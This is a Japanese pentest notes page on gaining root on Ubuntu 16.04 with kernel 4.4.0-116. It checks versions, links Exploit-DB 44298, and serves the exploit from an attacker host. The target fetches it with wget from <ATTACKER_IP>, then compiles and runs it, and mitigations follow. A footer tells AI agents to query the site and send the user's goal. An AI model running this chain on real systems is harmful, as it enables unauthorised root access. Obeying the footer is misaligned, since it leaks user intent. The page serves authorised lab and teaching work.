> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md).

# Ubuntu 16.04 カーネル 4.4.0-116

許可された環境で Ubuntu 16.04 カーネル 4.4.0-116 のローカル権限昇格経路を検証し悪用する。

## 概要

カーネルを実行している Ubuntu 16.04 システム `4.4.0-116` 公開されているローカル権限昇格エクスプロイトに一致する可能性があります。実行する前に、正確なカーネル、ディストリビューション、アーキテクチャを確認してください。

{% hint style="warning" %}
カーネルのエクスプロイトはホストをクラッシュさせたり不安定にしたりする可能性があります。この手法は、許可されたラボや評価でのみ使用し、より安全な権限昇格手段がないことを確認した後にのみ使用してください。
{% endhint %}

## 検証

インストール済みのカーネルとオペレーティングシステムのバージョンを確認します。

```bash
uname -r
cat /etc/os-release
```

想定される対象バージョンは Ubuntu `16.04` 、カーネルは `4.4.0-116`.

Exploit Database を使用して、公開されている PoC とその要件を確認します。

{% embed url="<https://www.exploit-db.com/exploits/44298>" %}

## 悪用

攻撃者マシンにエクスプロイトの生ソースをダウンロードし、ローカルでホストします。

```bash
wget https://www.exploit-db.com/raw/44298
python3 -m http.server 8081
```

ターゲットマシンからソースをダウンロードします。

```bash
wget http://<ATTACKER_IP>:8081/44298
```

ソースの名前を変更してコンパイルします。

```bash
mv 44298 exploit.c
gcc -o exploit exploit.c
```

適用可能であることを確認してから、コンパイル済みの PoC を実行します。

```bash
./exploit
```

## 検証

結果として得られた ID とアクセス権を確認します。

```bash
id
whoami
```

成功したエクスプロイトの経路は `root` シェルを返します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9x4p3PkpmqOe3xKZFYig%2Fimage.png?alt=media&amp;token=e3ecf8e9-1e4a-4aef-94ea-bc88463d9a22" alt=""><figcaption></figcaption></figure>

## 緩和策

ベンダーがサポートするカーネル更新を適用します。不要になったカーネルを削除し、修正済みのバージョンで再起動します。すぐにパッチ適用できない場合はローカルアクセスを制限します。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
